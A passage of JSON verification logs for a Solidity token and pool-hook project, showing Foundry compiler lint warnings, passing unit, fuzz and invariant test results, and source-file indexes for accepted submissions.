test_InvalidPermissionAddressRefusesDeployment() (gas: 17873)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 914003)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2146867)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 724724)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7416052)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152671)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351978)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 479.53ms (1.03s CPU time)\n\nRan 2 tests for test/HookBatch.t.sol:HookBatchTest\n[PASS] testFuzz_NettingAcrossOneUnlockMatchesSeparateSwaps(uint96,uint8) (runs: 1000, μ: 2380287, ~: 2422237)\n[PASS] test_LaterSwapFailureRollsBackAllEarlierSwapsInUnlock() (gas: 1183654)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 479.71ms (431.94ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2022  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 2112  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2010  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.03s (996.20ms CPU time)\n\nRan 2 tests for test/FeeLifecycleInvariant.t.sol:FeeLifecycleInvariantTest\n[PASS] invariant_FeesMatchIndependentModelAndAssetsAreConserved() (runs: 256, calls: 16384, reverts: 0)\n\n╭---------------------+---------------------+-------+---------+----------╮\n| Contract            | Selector            | Calls | Reverts | Discards |\n+========================================================================+\n| FeeLifecycleHandler | advance             | 2757  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | donate              | 2721  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | failedUnsettledSwap | 2711  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | sweep               | 2800  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | toggleLiquidity     | 2674  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | trade               | 2721  | 0       | 0        |\n╰---------------------+---------------------+-------+---------+----------╯\n\n[PASS] test_ExactOutputFeeModelUsesGrossIMDThroughSweepAndDonation() (gas: 1794441)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.70s (2.68s CPU time)\n\nRan 14 test suites in 2.71s (7.20s CPU time): 53 tests passed, 0 failed, 1 skipped (54 total tests)\n","passed":true},{"durationMs":47,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":91,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":46,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":252,\"test/AccountingInvariant.t.sol\":89,\"test/DonationRecipients.t.sol\":61,\"test/FeeBasis.t.sol\":92,\"test/FeeLifecycleInvariant.t.sol\":193,\"test/HookAdversarial.t.sol\":206,\"test/HookBatch.t.sol\":80,\"test/HookDifferential.t.sol\":143,\"test/MainnetFork.t.sol\":100,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":334,\"test/TESTING.md\":65,\"test/helpers/BatchSwapRouter.sol\":51,\"test/helpers/LaunchFixture.sol\":131,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9543e43e82fce147aec9d6b7ecbfb2c9ad85aa643e4e8e9c1f410ee293cc3718","verifiedTreeHash":"9a1c68463922a18e79bd3091bea214fcb48825ec","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":3856,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.72s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:240:9\n    │\n240 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:131:22\n    │\n131 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:44\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:61\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:63\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:70\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:166:9\n    │\n166 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:22\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:30\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:67\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:75\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:172:13\n    │\n172 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:179:9\n    │\n179 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:22\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:30\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:67\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:75\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:195:13\n    │\n195 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:215:40\n    │\n215 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:32\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:60\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":2726,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 308.46µs (0.00ns CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 915928)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1020902)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.92ms (1.68ms CPU time)\n\nRan 8 tests for test/HookAdversarial.t.sol:HookAdversarialTest\n[PASS] test_ConstructorRejectsMissingCodeAndIdenticalCurrencies() (gas: 7565)\n[PASS] test_DonationFailureCanBeRetriedAfterLiquidityReturns() (gas: 1269672)\n[PASS] test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition() (gas: 1136462)\n[PASS] test_FailedInitializationCannotStartClockOrBindWrongPool() (gas: 10354051)\n[PASS] test_NoAdminFeeOrClaimApprovalEntrypoints() (gas: 811628)\n[PASS] test_OddDonationAndOneWeiDustDoNotConsumeAnEmptyBatch() (gas: 1234247)\n[PASS] test_SweepAndDonationEventsIdentifyCallerAndExactAmount() (gas: 750234)\n[PASS] test_ZeroSwapAndFailedInputSettlementPreserveAccruedFees() (gas: 1273906)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 33.16ms (26.93ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17132937)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 42.95ms (17.61ms CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177693, ~: 177928)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 331.15ms (331.35ms CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 400709, ~: 402900)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 426165, ~: 433788)\n[PASS] test_AllBlocksAndSwapModes() (gas: 16893406)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1099542)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 781550)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 674731)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1143865)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 10739441)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386433)\n[PASS] test_InvalidPermissionAddressRefusesDeployment() (gas: 17812)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 913875)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2130377)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 721220)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7409080)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152404)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351850)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 345.07ms (531.38ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairSecondTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 558920, ~: 541237)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 599514, ~: 596935)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39134873)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 364.83ms (540.69ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairFirstTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 559788, ~: 540006)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 599474, ~: 594361)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39200017)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 364.93ms (782.14ms CPU time)\n\nRan 2 tests for test/HookBatch.t.sol:HookBatchTest\n[PASS] testFuzz_NettingAcrossOneUnlockMatchesSeparateSwaps(uint96,uint8) (runs: 1000, μ: 2377726, ~: 2418961)\n[PASS] test_LaterSwapFailureRollsBackAllEarlierSwapsInUnlock() (gas: 1179412)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 365.00ms (359.07ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2013  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 2051  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2080  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 883.22ms (877.42ms CPU time)\n\nRan 1 test for test/FeeLifecycleInvariant.t.sol:FeeLifecycleInvariantTest\n[PASS] invariant_FeesMatchIndependentModelAndAssetsAreConserved() (runs: 256, calls: 16384, reverts: 0)\n\n╭---------------------+---------------------+-------+---------+----------╮\n| Contract            | Selector            | Calls | Reverts | Discards |\n+========================================================================+\n| FeeLifecycleHandler | advance             | 2718  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | donate              | 2773  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | failedUnsettledSwap | 2691  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | sweep               | 2743  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | toggleLiquidity     | 2687  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | trade               | 2772  | 0       | 0        |\n╰---------------------+---------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64s (2.61s CPU time)\n\nRan 11 test suites in 2.64s (5.38s CPU time): 44 tests passed, 0 failed, 1 skipped (45 total tests)\n","passed":true},{"durationMs":50,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":87,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":39,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":242,\"test/AccountingInvariant.t.sol\":89,\"test/FeeLifecycleInvariant.t.sol\":169,\"test/HookAdversarial.t.sol\":206,\"test/HookBatch.t.sol\":80,\"test/HookDifferential.t.sol\":135,\"test/MainnetFork.t.sol\":100,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":340,\"test/TESTING.md\":50,\"test/helpers/BatchSwapRouter.sol\":51,\"test/helpers/LaunchFixture.sol\":133,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9c7dcff4d93ae727f1ef93b4f4bf2d5fc496fe2805739a2435521f0868947f9a","verifiedTreeHash":"968528006620560906dfcfa7c3cc80eebc9263c0","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":6200,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.01s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:250:9\n    │\n250 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:130:22\n    │\n130 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:44\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:61\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can 